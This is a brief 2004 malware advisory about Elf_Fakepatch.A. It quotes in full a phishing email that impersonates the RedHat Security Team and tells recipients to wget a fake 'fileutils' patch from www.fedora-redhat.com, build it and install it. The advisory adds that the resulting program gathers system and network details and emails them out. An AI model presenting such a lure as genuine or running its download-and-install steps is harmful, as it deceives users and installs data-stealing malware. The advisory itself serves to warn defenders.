11/1: Fakepatch-A an Elf Executable

11/1: Fakepatch-A an Elf Executable
November 1, 2004

Elf_Fakepatch.A is an Elf executable that arrives on a system via email. It contains the following details:

Dear RedHat user,

Redhat found a vulnerability in fileutils (ls and mkdir), that could allow a remote attacker to execute arbitrary code with root privileges. Some of the affected linux distributions include RedHat 7.2, RedHat 7.3, RedHat 8.0, RedHat 9.0, Fedora CORE 1, Fedora CORE 2 and not only. It is known that *BSD and Solaris platforms are NOT ed. The RedHat Security Team strongly advises you to immediately apply the fileutils-1.0.6 patch. This is a critical-critical update that you must make by following these steps:

First download the patch from the Security RedHat mirror: wget www.fedora-redhat.com/fileutils-1.0.6.pa.gz

Untar the patch: tar zxvf fileutils-1.0.6.pa.gz

cd fileutils-1.0.6.pa

make

*/inst

Again, please apply this patch as soon as possible or you risk your system and others` to be compromised.

Thank you for your prompt attention to this serious matter,

RedHat Security Team.

(Note: The said site is currently unavailable.)

It retrieves network configuration and system information, and saves them in the file mama. It then sends the said file to a specific email address.

This Elf executable runs on Linux.

Technical details can be found at Trend Micro page.